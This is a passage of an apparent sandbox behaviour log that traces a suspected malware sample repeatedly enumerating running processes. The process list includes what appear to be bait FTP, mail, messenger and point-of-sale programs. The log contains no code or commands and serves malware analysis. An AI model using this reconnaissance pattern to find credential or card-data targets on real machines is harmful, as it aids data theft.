cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0287.593] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0287.595] CloseHandle (hObject=0x344) returned 1 [0287.595] Sleep (dwMilliseconds=0x64) [0287.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0287.642] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.644] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0287.646] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.658] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.708] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.710] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.718] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.720] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.726] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.728] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0287.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0287.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.739] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0287.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0287.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0287.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0287.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0287.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0287.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0287.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0287.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0287.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0287.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0287.817] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0287.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0287.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0287.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0287.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0287.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0287.831] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0287.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0287.857] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0287.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0287.910] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0287.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0287.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0287.918] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0287.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0287.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0287.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0287.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0287.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0287.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0287.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0287.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0287.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0287.941] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0287.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0287.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0287.949] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0287.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0287.954] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0288.003] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0288.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0288.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0288.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0288.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0288.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0288.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0288.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0288.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0288.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0288.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0288.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0288.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0288.035] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0288.037] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0288.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0288.040] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0288.041] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0288.043] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 